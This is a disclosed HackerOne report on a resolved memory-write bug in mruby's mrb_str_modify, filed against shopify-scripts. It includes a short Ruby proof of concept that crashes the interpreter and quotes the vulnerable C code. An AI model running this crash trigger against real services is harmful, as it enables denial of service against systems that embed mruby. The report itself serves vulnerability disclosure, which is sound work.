mrb_str_modify try to write to memory not marked for writing

Disclosed: 2017-02-06 22:33:47 By marotagem_vrt To shopify-scripts
Unknown
Vulnerability Details
The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing. ``` a = Time.new.zone a.rstrip! GC.start a.next! ``` Code https://github.com/mruby/mruby/blob/5289b4ba117e66bdef1438ca754c894508a2447b/src/string.c#L668 ``` if (shared->refcnt == 1 && s->as.heap.ptr == shared->ptr) { s->as.heap.ptr = shared->ptr; s->as.heap.aux.capa = shared->len; RSTR_PTR(s)[s->as.heap.len] = '\0'; mrb_free(mrb, shared); } ```
Actions
View on HackerOne
Report Stats
  • Report ID: 193077
  • State: Closed
  • Substate: resolved
  • Upvotes: 6
Share this report